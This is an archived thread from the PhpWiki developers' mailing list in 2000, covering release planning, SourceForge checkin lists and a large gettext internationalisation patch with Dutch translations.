2 +fi + ALL_LINGUAS=nl xgettext -L C++ -o locale/po/phpwiki.pot lib/*php @@ -19,6 +24,12 @@ po=$podir/$i.po pot=$podir/phpwiki.pot locale=locale/$i/LC_MESSAGES + + # Include the English pages too. + # This way we won't get a zillion copies of ReleaseNotes, + # SteveWainstead etc, and can always refer to them. + # (maybe we should do this in php code?) + # (cd locale/$i/pgsrc && ln -s ../../../pgsrc/* .) msgmerge -o $po $po $pot mkdir -p locale/$i/LC_MESSAGES -- Jan Nieuwenhuizen <ja...@gn...> | GNU LilyPond - The music typesetter http://www.xs4all.nl/~jantien | http://www.lilypond.org |
From: Arno H. <aho...@in...> - 2000-10-22 16:53:09
|
> The phpwiki-checkins list is now active, and SF put our syncmail script in > place, so tonight I will get that set up. You may subscribe to Unfortunately, SF seems to have some problems currently. *sigh* But I will subscribe ASAP - my latest checkins already sported the following lines: Generating notification message... Generating notification message... done. > I have started to make better use of the tools on SF. A lot of ideas have > floated around the list in the last four months which are now hard to > find; in particular I'm going to start using tasks and bugs Good idea. > I'd like to push to release a 1.1.8 soon (again, geez, this is my third > try). I work reasonable hours now so this should not be a problem. I've brought the admin/ directory up to date - it seems phpwiki is quite stable. Release 1.1.8 now, or you won't get a second chance. Just put a "developmental version" somewhere in your announcement on freshmeat. I hope you don't mind, but I removed the default admin/pwd pair from wiki_auth.php3 -- I'm only saying "wolowolo" :o) You should be a little bit more cautios, Steve. > What do you think about nightly builds? It shouldn't be hard to set up a > cron job to do this. Not like we have daily checkins :-) but making the > most recent code base available to the CVS-impaired might be good. If it's easy to do, why not? /Arno |
From: Steve W. <sw...@wc...> - 2000-10-22 16:40:41
|
On Sun, 22 Oct 2000, Arno Hollosi wrote: > I hope you don't mind, but I removed the default admin/pwd pair from > wiki_auth.php3 -- I'm only saying "wolowolo" :o) You should be a little bit > more cautios, Steve. Er, I meant to say my wiki_admin.php3, but the same applies to config.php. I wonder if there isn't some way of having a rule for CVS to not check in a file unless explicitly stated? sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Steve W. <sw...@wc...> - 2000-10-22 16:34:29
|
On Sun, 22 Oct 2000, Arno Hollosi wrote: > Unfortunately, SF seems to have some problems currently. *sigh* > But I will subscribe ASAP - my latest checkins already sported the following > lines: > Generating notification message... > Generating notification message... done. Yeah, it looks dead since Friday night. However the last time I was able to pull up the Archive page for phpwiki-checkins: http://www.geocrawler.com/redir-sf.php3?list=phpwiki-checkins my second commit had made it into the archive, but not the first (deleting syncmail from phpwiki/). Also after two subscribe attempts I'm still not subscribed, but all of that will probably be wrapped up Monday. > > I'd like to push to release a 1.1.8 soon (again, geez, this is my third > > try). I work reasonable hours now so this should not be a problem. > > I've brought the admin/ directory up to date - it seems phpwiki is quite > stable. Release 1.1.8 now, or you won't get a second chance. Just put a > "developmental version" somewhere in your announcement on freshmeat. > I hope you don't mind, but I removed the default admin/pwd pair from > wiki_auth.php3 -- I'm only saying "wolowolo" :o) You should be a little bit > more cautios, Steve. Well, I don't use admin on the SF wiki (nor do I do commits from there), so fortunately that was a password from my home box. It's not the first time I've committed my config.php file, I wish there were a way around that. > > What do you think about nightly builds? It shouldn't be hard to set up a > > If it's easy to do, why not? I'll work out a cron job on SF to do it. sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Steve W. <sw...@wc...> - 2000-10-20 23:22:27
|
The phpwiki-checkins list is now active, and SF put our syncmail script in place, so tonight I will get that set up. You may subscribe to phpwiki-checkins now (http://sourceforge.net/mail/?group_id=6121) but you might get a few test messages tonight. I have started to make better use of the tools on SF. A lot of ideas have floated around the list in the last four months which are now hard to find; in particular I'm going to start using tasks (http://sourceforge.net/pm/?group_id=6121) and bugs (http://sourceforge.net/bugs/?group_id=6121). I'd like to push to release a 1.1.8 soon (again, geez, this is my third try). I work reasonable hours now so this should not be a problem. 1.1.8 doesn't have to be perfect, just functional. I think as long as it works out of the box for all the databases except flat file, since that's new. All the features don't necessarily have to work as long as the important Wiki functionality is there. What do you think about nightly builds? It shouldn't be hard to set up a cron job to do this. Not like we have daily checkins :-) but making the most recent code base available to the CVS-impaired might be good. Arno, nice logo :-) sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Arno H. <aho...@in...> - 2000-10-20 11:57:26
|
Jan wrote: > Okay, thanks. I've synced/merged and made a new patch with the > remaining translations (and internationalisations) that I did. I committed the patch. There were one or two small errors in it. Also, I made some slight modifications (e.g. MySQL uses the same error message as msql now). Curiously enough, the patch did not apply cleanly. Maybe an error on my side. As a result I may have omitted some of the beautification patches. /Arno |
From: Jan N. <ja...@gn...> - 2000-10-20 07:57:01
|
On Friday, 20 October 2000, Arno Hollosi writes: > I have finally rolled in Jan's patch. > Some slight modifications were needed. Okay, thanks. I've synced/merged and made a new patch with the remaining translations (and internationalisations) that I did. Greetings, Jan. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/diff.php ./lib/diff.php --- ../phpwiki/lib/diff.php Thu Oct 19 23:36:50 2000 +++ ./lib/diff.php Fri Oct 20 09:06:30 2000 @@ -1,4 +1,4 @@ -<!-- $Id: diff.php,v 1.2 2000/10/19 21:36:50 ahollosi Exp $ --> +<!-- $Id: diff.php,v 1.9 2000/08/15 02:59:20 wainstead Exp $ --> <?php // diff.php // @@ -672,7 +672,7 @@ $x += -$edit; } if ($x != $xlim) - die("WikiDiff::apply: line count mismatch: $x != $xlim"); + die (sprintf (gettext ("WikiDiff::apply: line count mismatch: %s != %s"), $x, $xlim)); return $output; } @@ -732,7 +732,7 @@ { $test = $this->apply($from_lines); if (serialize($test) != serialize($to_lines)) - die("WikiDiff::_check: failed"); + die (gettext ("WikiDiff::_check: failed")); reset($this->edits); $prev = current($this->edits); @@ -742,11 +742,12 @@ { $type = is_array($edit) ? 'a' : ($edit > 0 ? 'c' : 'd'); if ( $prevtype == $type ) - die("WikiDiff::_check: edit sequence is non-optimal"); + die (gettext ("WikiDiff::_check: edit sequence is non-optimal")); $prevtype = $type; } $lcs = $this->lcs(); - echo "<strong>WikiDiff Okay: LCS = $lcs</strong>\n"; + printf ("<strong>" . gettext ("WikiDiff Okay: LCS = %s") . "</strong>", $lcs); + print ("\n"); } } @@ -984,28 +985,50 @@ // $dba = OpenDataBase($ArchivePageStore); $archive= RetrievePage($dbi, $pagename, $ArchivePageStore); - $html = '<table><tr><td align="right">Current page:</td>'; - if (is_array($wiki)) - $html .= "<td>version $wiki[version],</td><td>last modified on " - . date($datetimeformat, $wiki['lastmodified']) - . "</td><td>by $wiki[author]</td>"; - else - $html .= "<td colspan=3><em>None</em></td>"; - $html .= '</tr><tr><td align="right">Archived page:</td>'; - if (is_array($archive)) - $html .= "<td>version $archive[version],</td><td>last modified on " - . date($datetimeformat, $archive['lastmodified']) - . "</td><td>by $archive[author]</td>"; - else - $html .= "<td colspan=3><em>None</em></td>"; + $html = '<table><tr><td align="right">'; + $html .= gettext ("Current page:"); + $html .= '</td>'; + if (is_array($wiki)) { + $html .= "<td>"; + $html .= sprintf (gettext ("version %s"), $wiki[version]); + $html .= "</td><td>"; + $html .= sprintf (gettext ("last modified on %s"), + date($datetimeformat, $wiki['lastmodified'])); + $html .= "</td><td>"; + $html .= sprintf (gettext ("by %s"), $wiki[author]); + $html .= "</td>"; + } else { + $html .= "<td colspan=3><em>"; + $html .= gettext ("None"); + $html .= "</em></td>"; + } + $html .= "</tr>\n"; + $html .= '<tr><td align="right">'; + $html .= gettext ("Archived page:"); + $html .= '</td>'; + if (is_array($archive)) { + $html .= "<td>"; + $html .= sprintf (gettext ("version %s"), $archive[version]); + $html .= "</td><td>"; + $html .= sprintf (gettext ("last modified on %s"), + date($datetimeformat, $archive['lastmodified'])); + $html .= "</td><td>"; + $html .= sprintf (gettext ("by %"), $archive[author]); + $html .= "</td>"; + } else { + $html .= "<td colspan=3><em>"; + $html .= gettext ("None"); + $html .= "</em></td>"; + } $html .= "</tr></table><p>\n"; - if (is_array($wiki) && is_array($archive)) { $diff = new WikiDiff($archive['content'], $wiki['content']); - if ($diff->isEmpty()) - $html .= '<hr>[Versions are identical]'; + if ($diff->isEmpty()) { + $html .= '<hr>'; + $html .= gettext ("[Versions are identical]"); + } else { //$fmt = new WikiDiffFormatter; @@ -1014,7 +1037,7 @@ } } - GeneratePage('MESSAGE', $html, sprintf(gettext("Diff of %s."), - htmlspecialchars($pagename)), 0); + GeneratePage('MESSAGE', $html, sprintf (gettext ("Diff of %s."), + htmlspecialchars($pagename)), 0); } ?> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/display.php ./lib/display.php --- ../phpwiki/lib/display.php Thu Oct 19 23:36:50 2000 +++ ./lib/display.php Fri Oct 20 09:39:55 2000 @@ -1,4 +1,4 @@ -<!-- $Id: display.php,v 1.3 2000/10/19 21:36:50 ahollosi Exp $ --> +<!-- $Id: display.php,v 1.8 2000/08/29 02:37:42 aredridel Exp $ --> <?php /* display.php: render a page. This has all the display @@ -11,7 +11,7 @@ if ($argv[0]) { $pagename = rawurldecode($argv[0]); } else { - $pagename = gettext("FrontPage"); + $pagename = gettext ("FrontPage"); // if there is no FrontPage, create a basic set of Wiki pages if (! IsWikiPage($dbi, $pagename)) { @@ -26,10 +26,11 @@ if (is_array($pagehash)) { // we render the page if it's a hash, else ask the user to write one. // This file returns a variable $html containing all the HTML markup - include("lib/transform.php"); + include "lib/transform.php"; } else { - $html .= sprintf(gettext("Describe %s here."), - "$pagename<a href='$ScriptUrl?edit=$enc_name'>?</a>"); + $html .= sprintf (gettext ("Describe %s here."), + "$pagename<a href='$ScriptUrl?edit=$enc_name'>?</a>"); + $html .= '\n'; } GeneratePage('BROWSE', $html, $pagename, $pagehash); diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/editlinks.php ./lib/editlinks.php --- ../phpwiki/lib/editlinks.php Sun Oct 8 19:33:26 2000 +++ ./lib/editlinks.php Fri Oct 13 12:30:03 2000 @@ -1,4 +1,4 @@ -<!-- $Id: editlinks.php,v 1.1 2000/10/08 17:33:26 wainstead Exp $ --> +<!-- $Id: editlinks.php,v 1.7 2000/08/29 02:37:42 aredridel Exp $ --> <?php // Thanks to Alister <al...@mi...> for this code. // This allows an arbitrary number of reference links. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/editpage.php ./lib/editpage.php --- ../phpwiki/lib/editpage.php Fri Oct 20 00:25:45 2000 +++ ./lib/editpage.php Fri Oct 20 09:09:40 2000 @@ -1,4 +1,4 @@ -<!-- $Id: editpage.php,v 1.3 2000/10/19 22:25:45 ahollosi Exp $ --> +<!-- $Id: editpage.php,v 1.13 2000/08/29 02:37:42 aredridel Exp $ --> <?php // editpage relies on $pagename and $ScriptUrl @@ -16,21 +16,24 @@ if (get_magic_quotes_gpc()) { $pagename = stripslashes($pagename); } - $banner = htmlspecialchars("Copy of $pagename"); + $banner = htmlspecialchars (sprintf (gettext ("Copy of %s"), $pagename)); $pagehash = RetrievePage($dbi, $pagename, $ArchivePageStore); - } else - ExitWiki("No page name passed into editpage!"); + } else { + ExitWiki (gettext ("No page name passed into editpage!")); + } if (is_array($pagehash)) { if (($pagehash['flags'] & FLAG_PAGE_LOCKED) && !$admin_edit) { - $html = "<p>This page has been locked by the administrator\n" . - "and cannot be edited.\n" . - "<p>Sorry for the inconvinience.\n"; - GeneratePage('MESSAGE', $html, "Problem while editing $pagename", 0); - ExitWiki(''); + $html = "<p>"; + $html .= gettext ("This page has been locked by the administrator and cannot be edited."); + $html .= "\n<p>"; + $html .= gettext ("Sorry for the inconvinience."); + $html .= "\n"; + GeneratePage('MESSAGE', $html, sprintf (gettext ("Problem while editing %s"), $pagename), 0); + ExitWiki (""); } $textarea = implode("\n", $pagehash["content"]); @@ -44,8 +47,8 @@ $pagehash["copy"] = 1; } } else { - $textarea = sprintf(gettext("Describe %s here."), - htmlspecialchars($pagename)); + $textarea = sprintf (gettext ("Describe %s here."), + htmlspecialchars($pagename)); unset($pagehash); $pagehash["version"] = 0; } diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/fullsearch.php ./lib/fullsearch.php --- ../phpwiki/lib/fullsearch.php Sun Oct 8 19:33:26 2000 +++ ./lib/fullsearch.php Wed Oct 18 13:54:44 2000 @@ -1,4 +1,4 @@ -<!-- $Id: fullsearch.php,v 1.1 2000/10/08 17:33:26 wainstead Exp $ --> +<!-- $Id: fullsearch.php,v 1.10 2000/09/21 19:21:25 ahollosi Exp $ --> <?php /* Search the text of pages for a match. @@ -11,8 +11,10 @@ if(get_magic_quotes_gpc()) $full = stripslashes($full); - $result = "<P><B>Searching for \"" . htmlspecialchars($full) . - "\" ....</B></P>\n<DL>\n"; + $result = "<P><B>"; + $result .= sprintf (gettext ("Searching for \"%s\" ....."), + htmlspecialchars($full)); + $result .= "</B></P>\n<DL>\n"; // quote regexp chars $full = preg_quote($full); @@ -38,6 +40,9 @@ } } - $result .= "</dl>\n<hr noshade>$found matches found in $count pages.\n"; - GeneratePage('MESSAGE', $result, "Full Text Search Results", 0); + $result .= "</dl>\n<hr noshade>"; + $result .= sprintf (gettext ("%d matches found in %d pages."), + $found, $count); + $result .= "\n"; + GeneratePage('MESSAGE', $result, gettext ("Full Text Search Results"), 0); ?> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/msql.php ./lib/msql.php --- ../phpwiki/lib/msql.php Fri Oct 20 00:25:45 2000 +++ ./lib/msql.php Fri Oct 20 09:14:11 2000 @@ -1,4 +1,4 @@ -<!-- $Id: msql.php,v 1.2 2000/10/19 22:25:45 ahollosi Exp $ --> +<!-- $Id: msql.php,v 1.16 2000/09/16 19:20:46 wainstead Exp $ --> <?php /* @@ -26,14 +26,16 @@ global $msql_db; if (! ($dbc = msql_connect())) { - $msg = "Cannot establish connection to database, giving up."; - $msg .= "<BR>Error message: " . msql_error(); - ExitWiki($msg); + $msg = gettext ("Cannot establish connection to database, giving up."); + $msg .= "<BR>"; + $msg .= sprintf (gettext ("Error message: %s"), msql_error ()); + ExitWiki ($msg); } if (!msql_select_db($msql_db, $dbc)) { - $msg = "Cannot open database $msql_db, giving up."; - $msg .= "<BR>Error message: " . msql_error(); - ExitWiki($msg); + $msg = gettext ("Cannot open database %s, giving up."); + $msg .= "<BR>"; + $msg .= sprintf (gettext ("Error message: %s"), msql_error ()); + ExitWiki ($msg); } $dbi['dbc'] = $dbc; @@ -194,8 +196,10 @@ // first, insert the metadata $retval = msql_query($query, $dbi['dbc']); - if ($retval == false) - echo "Insert/update failed: ", msql_error(), "<br>\n"; + if ($retval == false) { + printf (gettext ("Insert/update failed: %s"), msql_error ()); + printf ("<br>\n"); + } // second, insert the page data @@ -203,8 +207,11 @@ $query = "delete from $dbi[page_table] where pagename='$pagename'"; // echo "Delete query: $query<br>\n"; $retval = msql_query($query, $dbi['dbc']); - if ($retval == false) - echo "Delete on $dbi[page_table] failed: ", msql_error(), "<br>\n"; + if ($retval == false) { + printf (gettext ("Delete on %s failed: %s"), $dbi[page_table], + msql_error()); + printf ("<br>\n"); + } // insert the new lines reset($pagehash["content"]); @@ -217,8 +224,8 @@ // echo "Page line insert query: $query<br>\n"; $retval = msql_query($query, $dbi['dbc']); if ($retval == false) - echo "Insert into $dbi[page_table] failed: ", - msql_error(), "<br>\n"; + printf (gettext ("Insert into %s failed: %s"), $dbi[page_table], + msql_error() "<br>\n"); } @@ -267,7 +274,7 @@ // first, insert the metadata $retval = msql_query($query, $dbi['dbc']); if ($retval == false) - echo "Insert/update failed: ", msql_error(), "<br>\n"; + printf (gettext ("Insert/update failed: %s"), msql_error() . "<br>\n"); // second, insert the page data @@ -275,8 +282,11 @@ $query = "delete from $ArchivePageStore[page_table] where pagename='$pagename'"; // echo "Delete query: $query<br>\n"; $retval = msql_query($query, $dbi['dbc']); - if ($retval == false) - echo "Delete on $ArchivePageStore[page_table] failed: ", msql_error(), "<br>\n"; + if ($retval == false) { + printf (gettext ("Delete on %s failed: %s"), + $ArchivePageStore[page_table], msql_error()); + print ("<br>\n"); + } // insert the new lines reset($pagehash["content"]); @@ -288,10 +298,11 @@ "VALUES('$pagename', $x, '$line')"; // echo "Page line insert query: $query<br>\n"; $retval = msql_query($query, $dbi['dbc']); - if ($retval == false) - echo "Insert into $ArchivePageStore[page_table] failed: ", - msql_error(), "<br>\n"; - + if ($retval == false) { + printf (gettext ("Insert into %s failed: %s"), + $ArchivePageStore[page_table], msql_error()); + printf ("<br>\n"); + } } diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/mysql.php ./lib/mysql.php --- ../phpwiki/lib/mysql.php Fri Oct 20 00:25:45 2000 +++ ./lib/mysql.php Fri Oct 20 09:17:06 2000 @@ -1,4 +1,4 @@ -<?php rcs_id('$Id: mysql.php,v 1.2 2000/10/19 22:25:45 ahollosi Exp $'); +<?php rcs_id('$Id: mysql.php,v 1.16 2000/09/23 14:31:06 ahollosi Exp $'); /* Database functions: @@ -30,14 +30,16 @@ global $mysql_server, $mysql_user, $mysql_pwd, $mysql_db; if (!($dbc = mysql_pconnect($mysql_server, $mysql_user, $mysql_pwd))) { - $msg = "Cannot establish connection to database, giving up."; - $msg .= "<br>MySQL error: " . mysql_error(); - ExitWiki($msg); + $msg = gettext ("Cannot establish connection to database, giving up."); + $msg .= "<BR>"; + $msg .= sprintf (gettext ("MySQL error: %s"), msql_error ()); + ExitWiki ($msg); } if (!mysql_select_db($mysql_db, $dbc)) { - $msg = "Cannot open database, giving up."; - $msg .= "<br>MySQL error: " . mysql_error(); - ExitWiki($msg); + $msg = gettext ("Cannot open database, giving up."); + $msg .= "<BR>"; + $msg .= sprintf (gettext ("MySQL error: %s"), msql_error ()); + ExitWiki ($msg); } $dbi['dbc'] = $dbc; $dbi['table'] = $dbname; @@ -108,8 +110,9 @@ if (!mysql_query("replace into $dbi[table] ($COLUMNS) values ($VALUES)", $dbi['dbc'])) { - $msg = "Error writing page '$pagename' " . mysql_error(); - ExitWiki($msg); + $msg = sprintf (gettext ("error writing page '%s'"), $pagename); + echo mysql_error (); + ExitWiki (""); } } diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/pageinfo.php ./lib/pageinfo.php --- ../phpwiki/lib/pageinfo.php Thu Oct 19 23:36:50 2000 +++ ./lib/pageinfo.php Fri Oct 20 09:17:35 2000 @@ -1,4 +1,4 @@ -<!-- $Id: pageinfo.php,v 1.3 2000/10/19 21:36:50 ahollosi Exp $ --> +<!-- $Id: pageinfo.php,v 1.7 2000/08/29 02:37:42 aredridel Exp $ --> <!-- Display the internal structure of a page. Steve Wainstead, June 2000 --> <?php if (get_magic_quotes_gpc()) { @@ -63,5 +63,5 @@ // $dbi = OpenDataBase($ArchivePageStore); $html .= ViewPageProps($info, $ArchivePageStore); - GeneratePage('MESSAGE', $html, gettext("PageInfo").": '$info'", 0); + GeneratePage('MESSAGE', $html, gettext("PageInfo"), 0); ?> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/savepage.php ./lib/savepage.php --- ../phpwiki/lib/savepage.php Thu Oct 19 23:36:50 2000 +++ ./lib/savepage.php Fri Oct 13 12:35:17 2000 @@ -1,4 +1,4 @@ -<!-- $Id: savepage.php,v 1.2 2000/10/19 21:36:50 ahollosi Exp $ --> +<!-- $Id: savepage.php,v 1.16 2000/08/29 02:37:42 aredridel Exp $ --> <?php /* @@ -57,8 +57,8 @@ // create page header $enc_url = rawurlencode($pagename); $enc_name = htmlspecialchars($pagename); - $html = sprintf(gettext("Thank you for editing %s."), - "<a href=\"$ScriptUrl?$enc_url\">$enc_name</a>"); + $html = sprintf (gettext ("Thank you for editing %s."), + "<a href=\"$ScriptUrl?$enc_url\">$enc_name</a>"); $html .= "<br>\n"; if (! empty($content)) { @@ -98,7 +98,7 @@ } $html .= "<P><img src=\"$SignatureImg\"></P><hr noshade><P>"; - include("lib/transform.php"); + include "lib/transform.php"; GeneratePage('BROWSE', $html, $pagename, $pagehash); ?> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/search.php ./lib/search.php --- ../phpwiki/lib/search.php Sun Oct 8 19:33:26 2000 +++ ./lib/search.php Fri Oct 13 12:30:03 2000 @@ -1,4 +1,4 @@ -<!-- $Id: search.php,v 1.1 2000/10/08 17:33:26 wainstead Exp $ --> +<!-- $Id: search.php,v 1.6 2000/08/29 02:37:42 aredridel Exp $ --> <?php // Title search: returns pages having a name matching the search term diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/setupwiki.php ./lib/setupwiki.php --- ../phpwiki/lib/setupwiki.php Sun Oct 8 19:33:26 2000 +++ ./lib/setupwiki.php Fri Oct 13 15:15:38 2000 @@ -1,6 +1,6 @@ -<!-- $Id: setupwiki.php,v 1.1 2000/10/08 17:33:26 wainstead Exp $ --> +<!-- $Id: setupwiki.php,v 1.15 2000/08/29 02:37:42 aredridel Exp $ --> <?php -require 'lib/ziplib.php'; +require "lib/ziplib.php"; function SavePage ($dbi, $page, $source) { @@ -18,8 +18,10 @@ SaveCopyToArchive($dbi, $pagename, $current); } - printf("Inserting page <b>%s</b>, version %s from %s<br>\n", - htmlspecialchars($pagename), $version, $source); + printf (gettext ("Inserting page %s, version %s from %s"), + "<b>" . htmlspecialchars ($pagename) . "</b>", $version, $source); + print ("<br>\n"); + flush(); InsertPage($dbi, $pagename, $page); } diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/stdlib.php ./lib/stdlib.php --- ../phpwiki/lib/stdlib.php Fri Oct 20 00:25:45 2000 +++ ./lib/stdlib.php Fri Oct 20 09:38:50 2000 @@ -1,4 +1,4 @@ -<!-- $Id: stdlib.php,v 1.3 2000/10/19 22:25:45 ahollosi Exp $ --> +<!-- $Id: stdlib.php,v 1.29 2000/09/23 14:31:06 ahollosi Exp $ --> <?php /* Standard functions for Wiki functionality @@ -17,7 +17,7 @@ UpdateRecentChanges($dbi, $pagename, $isnewpage) ParseAndLink($bracketlink) ExtractWikiPageLinks($content) - ExitWiki($errormsg) + ExitWiki($errormsg) */ @@ -33,7 +33,10 @@ CloseDataBase($dbi); if($errormsg <> '') { - print "<P><hr noshade><h2>WikiFatalError</h2>\n"; + $msg = "<P><hr noshade><h2>"; + $msg .= gettext("WikiFatalError"); + $msg .= "</h2>\n"; + print ($msg); print $errormsg; print "\n</BODY></HTML>"; } @@ -49,7 +52,9 @@ $links = GetWikiPageLinks($dbi, $pagename); - $txt = "<b>" . NUM_RELATED_PAGES . " best incoming links:</b>\n"; + $txt = "<b>"; + $txt .= sprintf (gettext ("%d best incoming links:"), NUM_RELATED_PAGES); + $txt .= "</b>\n"; for($i = 0; $i < NUM_RELATED_PAGES; $i++) { if(isset($links['in'][$i])) { list($name, $score) = $links['in'][$i]; @@ -57,7 +62,9 @@ } } - $txt .= "\n<br><b>" . NUM_RELATED_PAGES . " best outgoing links:</b>\n"; + $txt .= "\n<br><b>"; + $txt .= sprintf (gettext ("%d best outgoing links:"), NUM_RELATED_PAGES); + $txt .= "</b>\n"; for($i = 0; $i < NUM_RELATED_PAGES; $i++) { if(isset($links['out'][$i])) { list($name, $score) = $links['out'][$i]; @@ -66,7 +73,9 @@ } } - $txt .= "\n<br><b>" . NUM_RELATED_PAGES . " most popular nearby:</b>\n"; + $txt .= "\n<br><b>"; + $txt .= sprintf (gettext ("%d most popular nearby:"), NUM_RELATED_PAGES); + $txt .= "</b>\n"; for($i = 0; $i < NUM_RELATED_PAGES; $i++) { if(isset($links['popular'][$i])) { list($name, $score) = $links['popular'][$i]; @@ -279,7 +288,7 @@ $stack->push($tag); if ($stack->cnt() > 10) { // arbitrarily limit tag nesting - ExitWiki("Stack bounds exceeded in SetHTMLOutputMode"); + ExitWiki (gettext ("Stack bounds exceeded in SetHTMLOutputMode")); } } @@ -314,8 +323,9 @@ $stack->push($tag); } - } else { // error - ExitWiki("Passed bad tag depth value in SetHTMLOutputMode"); + } else { + // error + ExitWiki ("Passed bad tag depth value in SetHTMLOutputMode"); } return $retvar; @@ -333,7 +343,8 @@ global $ScriptUrl; global $WikiPageStore; - $recentchanges = RetrievePage($dbi, gettext("RecentChanges"), $WikiPageStore); + $recentchanges = RetrievePage($dbi, gettext ("RecentChanges"), + $WikiPageStore); // this shouldn't be necessary, since PhpWiki loads // default pages if this is a new baby Wiki @@ -395,7 +406,7 @@ $recentchanges["content"] = $newpage; - InsertPage($dbi, gettext("RecentChanges"), $recentchanges); + InsertPage($dbi, gettext ("RecentChanges"), $recentchanges); } @@ -506,5 +517,5 @@ } return $wikilinks; - } + } ?> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/ziplib.php ./lib/ziplib.php --- ../phpwiki/lib/ziplib.php Sun Oct 8 19:33:26 2000 +++ ./lib/ziplib.php Fri Oct 13 12:32:57 2000 @@ -1,4 +1,4 @@ -<?php rcs_id("$Id: ziplib.php,v 1.1 2000/10/08 17:33:26 wainstead Exp $"); +<?php rcs_id("$Id: ziplib.php,v 1.7 2000/08/29 02:37:42 aredridel Exp $"); //FIXME: get rid of this. function warn ($msg) Binary files ../phpwiki/locale/nl/LC_MESSAGES/phpwiki.mo and ./locale/nl/LC_MESSAGES/phpwiki.mo differ diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/LC_MESSAGES/phpwiki.php ./locale/nl/LC_MESSAGES/phpwiki.php --- ../phpwiki/locale/nl/LC_MESSAGES/phpwiki.php Thu Oct 19 23:49:52 2000 +++ ./locale/nl/LC_MESSAGES/phpwiki.php Fri Oct 20 09:42:04 2000 @@ -2,25 +2,95 @@ $locale["./pgsrc"] = "./locale/nl/pgsrc"; $locale["templates/browse.html"] = - "./locale/nl/templates/browse.html"; + "locale/nl/templates/browse.html"; $locale["templates/editpage.html"] = - "./locale/nl/templates/editpage.html"; + "locale/nl/templates/editpage.html"; $locale["templates/editlinks.html"] = - "./locale/nl/templates/editlinks.html"; + "locale/nl/templates/editlinks.html"; $locale["templates/message.html"] = - "./locale/nl/templates/message.html"; + "locale/nl/templates/message.html"; +$locale["WikiDiff::apply: line count mismatch: %s != %s"] = + ""; +$locale["WikiDiff::_check: failed"] = + ""; +$locale["WikiDiff::_check: edit sequence is non-optimal"] = + ""; +$locale["WikiDiff Okay: LCS = %s"] = + ""; +$locale["Current page:"] = + "Huidige pagina:"; +$locale["version %s"] = + "versie %s"; +$locale["last modified on %s"] = + "laatste verandering op %s"; +$locale["by %s"] = + "door %s"; +$locale["None"] = + "Geen"; +$locale["Archived page:"] = + "Gearchiveerde pagina:"; +$locale["by %"] = + "door %s"; +$locale["[Versions are identical]"] = + "[Versies zijn identiek]"; $locale["Diff of %s."] = "Diff van %s."; $locale["FrontPage"] = "VoorPagina"; $locale["Describe %s here."] = "Beschrijf %s hier."; +$locale["Copy of %s"] = + "Kopie van %s"; +$locale["No page name passed into editpage!"] = + "Geen paginanaam doorgegeven aan veranderpagina"; +$locale["This page has been locked by the administrator and cannot be edited."] = + ""; +$locale["Sorry for the inconvinience."] = + "Excuses voor het ongemak."; +$locale["Problem while editing %s"] = + "Probleem tijdens veranderen %s"; +$locale["Searching for \"%s\" ....."] = + "Zoeken naar \"%s\" ..."; +$locale["%d matches found in %d pages."] = + "%d keer gevonden in %d pagina's."; +$locale["Full Text Search Results"] = + "Volledige tekst zoek resultaten"; +$locale["Cannot establish connection to database, giving up."] = + "Kan verbinding naar data base niet tot stand brengen, geef op."; +$locale["Error message: %s"] = + "Foutboodschap: %s"; +$locale["Cannot open database %s, giving up."] = + "Kan data base %s niet openen, geef op."; +$locale["Insert/update failed: %s"] = + "Insert/update gefaald: %s"; +$locale["Delete on %s failed: %s"] = + "Delete op %s gefaald: %s"; +$locale["Insert into %s failed: %s"] = + "Insert in %s gefaald: %s"; +$locale["MySQL error: %s"] = + "MySQL fout: %s"; +$locale["Cannot open database, giving up."] = + "Kan data base niet openen, geef op."; +$locale["error writing page '%s'"] = + "fout bij schrijven pagina `%s'"; $locale["PageInfo"] = "PaginaInfo"; $locale["Thank you for editing %s."] = "Bedankt voor het veranderen van %s."; $locale["Your careful attention to detail is much appreciated."] = "Je zorgvuldige aandacht voor detail wordt erg gewaardeerd."; +$locale["Inserting page %s, version %s from %s"] = + "Voeg pagina %s toe, versie %s van %s"; +$locale["WikiFatalError"] = + "WikiFataleFout"; +$locale["%d best incoming links:"] = + "%d beste inkomende koppelingen:"; +$locale["%d best outgoing links:"] = + "%d beste uitgaande koppelingen:"; +$locale["%d most popular nearby:"] = + "%d meest gevraagde in de buurt:"; +$locale["Stack bounds exceeded in SetHTMLOutputMode"] = + ""; $locale["RecentChanges"] = "RecenteVeranderingen"; ?> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/HoeWikiTeGebruiken ./locale/nl/pgsrc/HoeWikiTeGebruiken --- ../phpwiki/locale/nl/pgsrc/HoeWikiTeGebruiken Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/HoeWikiTeGebruiken Fri Oct 13 15:17:39 2000 @@ -1,36 +1,53 @@ -''"Wiki wiki"'' means "quick" in Hawai'ian. +''"Wiki wiki"'' betekent "vlug" in het Hawaiiaans. -'''All you really need to know is:''' +'''Alles wat je echt moet weten is:''' - * To edit any page click on the Edit Text link at the bottom of -the page. You should do that right now, and read the source code of this -page. It will make more sense. - * You get italics by surrounding words with two single quotes on -either side ''like this''. - * You get '''bold text''' by using three quotes on either side. - * And, 